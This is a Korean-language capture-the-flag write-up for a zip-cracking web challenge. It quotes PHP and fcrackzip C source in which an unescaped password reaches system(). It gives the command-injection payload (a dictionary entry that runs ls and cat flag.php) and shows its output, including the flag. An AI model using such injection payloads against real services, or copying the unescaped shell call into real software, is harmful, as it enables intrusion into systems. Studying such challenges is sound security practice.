한국인 중에 푼사람이 저희밖에 없기에 한국어로 풀이를 작성합니다.
링크에 접속하게 되면 간단한 zip cracking online 사이트란것을 알 수 있습니다.
아무것도 없습니다.. 스캐닝 툴을 돌려도 나왔겠지만 용진이형(adm1nkyj)이 게싱으로 swp파일을 가져왔습니다.
// .index.php.swp
<?php
if(!empty($_FILES['zip']['tmp_name']) and !empty($_FILES['dict']['tmp_name'])) {
if(max($_FILES['zip']['size'], $_FILES['dict']['size']) <= 1024*1024) {
// Do you remember 430387 ?
$zip = $_FILES['zip']['tmp_name'];
$dict = $_FILES['dict']['tmp_name'];
$option = "-D -p $dict";
if(isset($_POST['unzip'])) {
$option = "-u ".$option;
}
$cmd = "timeout 3 ./fcrackzip-1.0/fcrackzip $option $zip";
$res = shell_exec($cmd);
}
else {
$res = 'file is too large.';
}
}
else {
$res = 'file is missing';
}
위 코드는 파일을 받고 fcrackzip-1.0을 이용하여 cracking을 진행합니다. php 코드안에선 커맨드 인젝션이 불가능합니다. 구글에 저 프로그램에 대해 검색해보니 bof취약점이 존재 했습니다. 하지만 저희가 컨트롤할 수 있는 부분이 아니였습니다. (딕셔너리 파일이름의 길이)
// main.c
int REGPARAM
check_unzip (const char *pw)
{
char buff[1024];
int status;
sprintf (buff, "unzip -qqtP \"%s\" %s " DEVNULL, pw, file_path[0]);
status = system (buff);
#undef REDIR
if (status == EXIT_SUCCESS)
{
printf("\n\nPASSWORD FOUND!!!!: pw == %s\n", pw);
exit (EXIT_SUCCESS);
}
return !status;
}
용진이형이 커맨드 인젝션이 발생할것으로 보이는 부분을 찾았습니다. 저 process는 unzip을 체크하고 성공적으로 cracking이 될경우 confim하는 함수입니다. password를 ";ls -al; cat flag.php; "
로 설정하고 dictionary.txt에 넣게되면 성공적으로 키를 읽어올 수 있습니다.
total 152
drwxr-xr-x 3 root root 4096 Sep 3 12:59 .
drwxr-xr-x 4 root root 4096 Sep 3 12:59 ..
-rw-r--r-- 1 twctf twctf 12288 Sep 3 12:59 .index.php.swp
drwxr-xr-x 3 root root 4096 Sep 3 12:59 fcrackzip-1.0
-rw-r--r-- 1 twctf twctf 114786 Sep 3 12:59 fcrackzip-1.0.tar.gz
-rw-r--r-- 1 twctf twctf 91 Sep 3 12:59 flag.php
-rw-r--r-- 1 twctf twctf 1657 Sep 3 12:59 index.php
-rw-r--r-- 1 twctf twctf 479 Sep 3 12:59 zipcracker.css
<?php
$flag = "TWCTF{20-bug-430387-cannot-deal-files-with-special-chars.patch:escape_pw}";
</p>